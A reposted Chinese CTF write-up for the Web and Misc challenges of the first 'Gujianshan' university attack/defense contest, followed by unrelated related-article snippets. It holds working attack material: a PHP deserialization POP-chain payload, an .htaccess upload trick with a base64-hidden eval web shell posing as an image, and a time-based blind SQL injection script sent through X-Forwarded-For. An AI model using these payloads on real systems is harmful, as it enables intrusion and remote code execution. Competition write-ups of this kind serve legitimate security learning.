[wp]“古剑山”第一届全国大学生网络攻防大赛 Web部分wp

“古剑山”第一届全国大学生网络攻防大赛

群友说是原题杯 哈哈哈哈 我也不懂 我比赛打的少 

Web

Web | unse

源码:

<?phpinclude("./test.php");if(isset($_GET['fun'])){if(justafun($_GET['fun'])){include($_GET['fun']);}}else{unserialize($_GET['yourcode']);}highlight_file(__FILE__);
?>

先伪协议读取test.php 然后得到反序列化源码:

<?php
$test = "Hello world";include "flag.php";function justafun($filename){$result = preg_match("/flag|zlib|string/i", $filename);if($result){return FALSE;}return TRUE;
}class afun {private $a;function __wakeup(){$temp = $this->a . 'ctf';}
}class bfun {private $items = array();public function __toString() {$item = $this->items;$str = $item['dd']->knife;return 'what the good?';}
}class cfun {private $params = array();public function __get($key) {global $flag;$tmp = $this->params[$key];var_dump($$tmp);}
}

a中的$this->a触发bgood中的__toString方法,将$this->a赋值为new bfun()。
bdun中的$items[‘dd’]触发cfun中的__get函数,给$items[‘dd’]赋值为new cfun()。
最后让cdun中的$params[‘knife’]=”flag” 

<?php
$test = "Hello world";include "flag.php";function justafun($filename){$result = preg_match("/flag|zlib|string/i", $filename);if($result){return FALSE;}return TRUE;
}class afun {private $a;function __wakeup(){$temp = $this->a . 'ctf';}
}class bfun {private $items = array();public function __toString() {$item = $this->items;$str = $item['dd']->knife;return 'what the good?';}
}class cfun {private $params = array();public function __get($key) {global $flag;$tmp = $this->params[$key];var_dump($$tmp);}
}

这里注意私有变量需要内部构造函数来进行触发其他魔术方法

这里这种框框换成%00 或者url编码也行 

得到payload:

?yourcode=O:4:%22afun%22:1:{s:7:%22%00afun%00a%22;O:4:%22bfun%22:1:{s:11:%22%00bfun%00items%22;a:1:{s:2:%22dd%22;O:4:%22cfun%22:1:{s:12:%22%00cfun%00params%22;a:1:{s:5:%22knife%22;s:4:%22flag%22;}}}}}

得到flag

有点类似这道题

https://www.cnblogs.com/zzjdbk/p/13617530.html

Web | upload_2_shell 

参考:SUCTF的一些题解 - SecPulse.COM | 安全脉搏

BUU WEB [SUCTF 2019]EasyWeb_buu easy_web-CSDN博客 

 但这道题使用的是.htaccess解析

.htaccess:

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./wenda.jpg"
AddType application/x-httpd-php .jpg

 wenda.jpg:

GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

然后上传然后rce:

Web | 盲人摸象

没做出来 感觉是XFF盲注 INSERT INTO 注入  然后原题..

查看:https://delcoding.github.io/2018/03/bugku-writeup3/

Bugku-INSERT INTO 注入 - 简书 (jianshu.com)

给个脚本:

import requests
import sys# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://47.106.186.166:31590/'
flag = ''
for i in range(1, 40):print('正在猜测:', str(i))for ch in range(32, 129):if ch == 128:sys.exit(0)sqli = sql.format(i, chr(ch))# print(sqli)header = {'X-Forwarded-For': sqli}try:html = requests.get(url, headers=header, timeout=3)except:flag += chr(ch)print(flag)break

Web | easy_pickle

Web | 御姐还是萝莉

好看 爱看 但不会

Misc

Misc | i have the flag

原题   ascii-3解码

def shuchu():a = [115, 105, 109, 112, 108, 101, 101, 100, 117, 49, 50, 51]i = 0while (i < len(a)):print(chr(a[i]), end='')i = i + 1shuchu()

得到 simpleedu123 

输入网站得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/206739.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用cmake构建的工程的编译方法

1、克隆项目工程 2、进入到工程目录 3、执行 mkdir build && cd build 4、执行 cmake .. 5、执行 make 执行以上步骤即可完成对cmake编写的工程进行编译 &#xff0c;后面只需执行你的编译结果即可 $ git clone 你想要克隆的代码路径 $ cd 代码文件夹 $ mkdir bu…

测试:SRE

SRE&#xff08;Site Reliability Engineering&#xff0c;站点可靠性工程&#xff09;是一种关注于构建、运行和维护大规模分布式系统的工程学科。它旨在确保系统在各种故障情况下仍然可用、可靠和高效。 SRE的核心目标是通过软件工程的方法来解决系统可靠性问题&#xff0c;…

WPF DataGrid 里面的ToggleButton点击不生效

已解决&#xff1a;根本原因是没写UpdateSourceTriggerPropertyChanged <ToggleButton IsChecked"{Binding PathIsEnabled,ModeTwoWay,UpdateSourceTriggerPropertyChanged}"/> 具体原因参考下面文章&#xff1a;鸣谢作者 WPF 数据集合绑定到DataGrid、ListV…

vmware安装centos7总结

vmware安装centos7总结 文章目录 vmware安装centos7总结一、配置网络&#xff08;桥接模式&#xff09;二、配置yum源&#xff08;连网配置&#xff09;三、可视化界面四、安装Docker五、安装DockerUI 一、配置网络&#xff08;桥接模式&#xff09; 网络连接模式选择桥接模式…

Ubuntu安装nvidia GPU显卡驱动教程

Ubuntu安装nvidia显卡驱动 1.安装前安装必要的依赖 sudo apt-get install build-essential sudo apt-get install g sudo apt-get install make2.到官网下载对应驱动 https://www.nvidia.cn/Download/index.aspx?langcn 3.卸载原有驱动 sudo apt-get remove --purge nvidi…

深度学习:注意力机制(Attention Mechanism)

1 注意力机制概述 1.1 定义 注意力机制&#xff08;Attention Mechanism&#xff09;是深度学习领域中的一种重要技术&#xff0c;特别是在序列模型如自然语言处理&#xff08;NLP&#xff09;和计算机视觉中。它使模型能够聚焦于输入数据的重要部分&#xff0c;从而提高整体…

孩子都能学会的FPGA:第二十五课——用FPGA实现频率计

&#xff08;原创声明&#xff1a;该文是作者的原创&#xff0c;面向对象是FPGA入门者&#xff0c;后续会有进阶的高级教程。宗旨是让每个想做FPGA的人轻松入门&#xff0c;作者不光让大家知其然&#xff0c;还要让大家知其所以然&#xff01;每个工程作者都搭建了全自动化的仿…

基于SpringBoot+maven+Mybatis+html慢性病报销系统(源码+数据库)

一、项目简介 本项目是一套基于SpringBootmavenMybatishtml慢性病报销系统&#xff0c;主要针对计算机相关专业的正在做bishe的学生和需要项目实战练习的Java学习者。 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目可以直接作为bishe使用。 项目都经过严格调试&a…

二十一章(网络通信)

计算机网络实现了多台计算机间的互联&#xff0c;使得它们彼此之间能够进行数据交流。网络应用程序就是在已连接的不同计算机上运行的程序&#xff0c;这些程序借助于网络协议&#xff0c;相互之间可以交换数据。编写网络应用程序前&#xff0c;首先必须明确所要使用的网络协议…

C++_命名空间(namespace)

目录 1、namespace的重要性 2、 namespace的定义及作用 2.1 作用域限定符 3、命名空间域与全局域的关系 4、命名空间的嵌套 5、展开命名空间的方法 5.1 特定展开 5.1 部分展开 5.2 全部展开 结语&#xff1a; 前言&#xff1a; C作为c语言的“升级版”&#xff0c;其在…

快速排序的新用法

普通快排 简介 快速排序是一种高效的排序算法&#xff0c;利用分治的思想进行排序。它的基本原理是在待排序的n个数据中任取一个数据为分区标准&#xff0c;把所有小于该排序码的数据移到左边&#xff0c;把所有大于该排序码的数据移到右边&#xff0c;中间放所选记录&#x…

Spring 之 @Cacheable 缓存使用教程

1、Cacheable 指定使用缓存 定义个 Controller &#xff0c;在方法上加上注解 Cacheable&#xff0c;配置要使用哪些缓存&#xff0c;比如 myMapCache 表示一级缓存是 Map&#xff0c;myRedisCache 表示二级缓存是 Redis。并配置缓存 key。 key 由 SPEL 表达式组成&#xff0c…

异常检测 | MATLAB实现BiLSTM(双向长短期记忆神经网络)数据异常检测

异常检测 | MATLAB实现BiLSTM(双向长短期记忆神经网络)数据异常检测 目录 异常检测 | MATLAB实现BiLSTM(双向长短期记忆神经网络)数据异常检测效果一览基本介绍模型准备模型设计参考资料效果一览 基本介绍 训练一个双向 LSTM 自动编码器来检测机器是否正常工作。 自动编码器接受…

CleanMyMac X2024最新版本软件实用性测评

信大多数MAC用户都较为了解&#xff0c;Mac虽然有着许多亮点的性能&#xff0c;但是让用户叫苦不迭的还其硬盘空间小的特色&#xff0c;至于很多人因为文件堆积以及软件缓存等&#xff0c;造成系统空间内存不够使用的情况。于是清理工具就成为了大多数MAC用户使用频率较高的实用…

二十一章网络通信

计算机网络实现了多台计算机间的互联&#xff0c;使得它们彼此之间能够进行数据交流。网络应用程序就是在已连接的不同计算机上运行的程序&#xff0c;这些程序借助于网络协议&#xff0c;相互之间可以交换数据。编写网络应用程序前&#xff0c;首先必须明确所要使用的网络协议…

数据采集工具的大全【都是免费值得收藏】

数据是推动业务成功的关键之一。为了获取准确、全面的信息&#xff0c;数据采集成为了许多企业和个人的必备工作。本文将专注于数据采集工具&#xff0c;探讨其在全网和指定网站采集方面的优势&#xff0c;为大家提供对比分析&#xff0c;以帮助大家找到最适合的数据采集利器。…

算法复习——6种排序方法的简单回顾

算法复习——6种排序方法的简单回顾 常见排序方法&#xff1a;冒泡排序、选择排序、插入排序、堆排序、归并排序、快速排序的简单回顾 冒泡排序 重复“从序列右边开始比较相邻两个数字的大小,再根据结果交换两个数字的位置” 在冒泡排序中&#xff0c;第 1 轮需要比较 n - 1…

Tair(1):Tair介绍

1 介绍 ​ 在Tair出现之前的很长一段时间里&#xff0c;像redis、memcache这些知名NoSql数据库是不支持分布式的&#xff0c;在这样的背景下&#xff0c;由淘宝网自主开发并在2010.6开源的一个高性能、高扩展、高可靠分布式缓存&#xff0c;类似map的key/value结构&#xff0c…

使用单例模式+观察者模式实现参数配置实时更新

使用vector存储观察者列表 #include <iostream> #include <vector> #include <functional> #include <algorithm>// 配置参数结构体 struct MyConfigStruct {int parameter1;std::string parameter2; };class Config { public:using Observer std::f…

hive 命令行中使用 replace 和nvl2 函数报错

1.有时候在命令行的情况下使用 replace 函数时会报错 这个时候可以使用 translate 代替 2.有时候使用 nvl2() 函数的时候会报错 这个时候可以用 case when 来代替